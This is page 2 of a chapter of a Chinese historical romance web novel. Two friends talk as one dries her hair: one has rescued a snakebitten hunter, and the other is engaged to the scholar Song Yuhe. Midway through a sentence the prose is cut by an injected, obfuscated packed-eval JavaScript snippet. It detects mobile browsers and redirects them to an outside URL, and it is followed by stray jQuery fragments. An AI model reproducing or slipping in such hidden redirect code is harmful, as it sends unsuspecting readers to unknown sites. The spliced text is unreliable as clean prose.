22. 兰蘩(第2页)
屏风后的水声似乎小了些,兰蘩的声音也清晰了许多,带着水汽浸润后的柔和:“说来话长。我在兴山深处,救了一个人……”
“救人?!”金旃心头突地一跳,“是何人?!”
她脑中电光火石般掠过三皇子赵景珩的身影,但下一刻便掐指暗算时日——不对,自己可是派人暗查过赵景珩的行踪,他应该不在彼处兴山。
兰蘩似乎已起身,隐约传来丫鬟服侍擦拭更衣的细微声响。
她一边整理,一边语气带着些许不解:“往年我游历采药,不也常遇山民猎户,施以援手。怎么这次,你如此吃惊?”
金旃却按捺不住,霍然起身,径直绕过那紫檀屏风。
只见兰蘩已挥退了丫鬟,正独自坐在梳妆台前,执着一方素巾,擦拭着湿漉漉的长发,乌发如缎,更衬得那张洗净铅华的脸清丽脱俗。
金旃快步走到她身旁坐下,追问道:“快说!是男是女?姓甚名谁?何等身份?什么样貌?”
兰蘩停下手中动作,侧首看她,狭长的凤眼里满是狐疑:“不过是个寻常猎户,被毒蛇咬了,我恰巧路过,救了他一命罢了。怎么?”
她微微挑眉,戏谑笑道:“难不成你以为我救的是哪路天潢贵胄、王孙公子?”
金旃被她问得一噎,心头那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298157|180133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点莫名的紧张瞬间泄了气,暗忖道:也是,兴山离东京府远着呢,又是荒僻之地,怎会与这京都的风云人物扯上干系?
她掩饰般地轻咳一声:“罢了罢了,是我多虑。不过你得记着啊,救人也得分清楚啊,咱们看的话本子还记得不?”
“……啥?”
金旃掰着手指细数话本教训:“一,引狼入室型。姑娘捡了个俊俏郎君,好不恩爱,可结果呢?不是仇家探子就是江洋大盗,卷财灭口强占家产,下场可惨!”
“……啊……”
“二,无妄之灾型。救个落难小姐?更糟!保不齐是钦犯贵女!官兵上门咔嚓……”她做了个抹脖子的动作,继续说道,“三,以身相许型。这是最麻烦的!什么救命之恩唯有以身相许?甩都甩不掉!天天演他逃她追烦死人!”
随后,金旃长叹口气,语重心长:“所以,救人务必擦亮眼。问清底细,实在不行,远远丢点药粮也算功德。你心善,又是大夫,救人是本职,我懂。可也得谨记,切莫往家捡人,男女都要警惕,当然了,尤其男的!好看的更要警惕!话本里十个有九个半是祸水!”
金旃沿着这“救人要谨慎”的路子使劲用力,定要兰蘩刻在骨子里记住此等箴言警句。
兰蘩却蓦地放下擦拭头发的素巾,侧过身来,那双狭长的凤眼此刻清亮如洗,带着十二分的不解与探究,紧紧锁住金旃。
她身子微微前倾,语气是少有的严肃与不满:“慢着。你这般咄咄逼人,倒显得我像个犯人。可你——你且先与我说个分明!”
“……什么?”
兰蘩语速加快,字字清晰:“缘何一纸书信,竟动用你父亲军中八百里加急的驿传,只为寻我代你去沛县迎那宋家老夫人入京?此为其一!”
她顿了顿,声音压低却更显分量:“更紧要的是,你怎地就……应下了与那宋家小子的婚事?我可还记得清清楚楚,当年是谁,花重金豢养那几头凶悍西域敖犬,拍着胸脯,信誓旦旦说‘哼!若那宋家小子不识相,敢登门求亲,我便放狗,定将其咬得屁滚尿流,狼狈出府!’——怎么?金大小姐,这豪言壮语,莫非都喂了狗不成?还是说,你自个儿先忘了?”
连珠炮似的质问砸下来,句句戳中要害,尤其是那“咬得屁滚尿流”的旧日宣言,让金旃差点破功。
“嘿嘿……”金旃干笑两声,拿起素巾,殷勤地为兰蘩擦拭湿发,隔着光亮的铜镜,对着镜中那双充满审视的凤眼,绽开一个无比娇俏又带着点谄媚的笑容。
“那都是……都是年少不懂事的戏言。我同我家探花郎,那可是天定的姻缘,命定的良配,月老他老人家亲自牵的红线,挡都挡不住的。”
这番“天定命定”的肉麻说辞,配上金旃那刻意为之的娇嗲语调,让兰蘩猛地打了个寒颤,手臂上瞬间起了一层鸡皮疙瘩。她难以置信地回头,上下打量着金旃,仿佛第一次认识她。
“……你莫不是被什么山精野怪夺了舍?还是掉进哪个寒潭里把脑子冻坏了?这话从你嘴里说出来,我听着怎么浑身发毛?”她搓了搓胳膊,一脸惊悚,“你老实说,是不是那宋玉禾给你灌了什么迷魂汤?还是下了什么苗疆情蛊?”
金旃被她说得一愣,随即脸上笑意更深,她俯身凑近兰蘩耳边,带着点神秘兮兮的炫耀,悄声道:“等你亲眼见到宋玉禾……你就知道,我为何心甘情愿、迫不及待地要嫁他了。”
兰蘩心下了然,甚是无语的叹了一声:“好色…登徒子……”
金旃却似乎对此“污蔑”甘之如饴,哼着小曲,为她继续擦拭湿发。
兰蘩不由得暗自腹诽——能让这眼高于顶的金大小姐如此神魂颠倒、连儿时誓言都抛到九霄云外的……那宋家小子宋玉禾,定然是生了副足以祸国殃民的绝代风华!
啧啧,“好色登徒子”果然着了道了。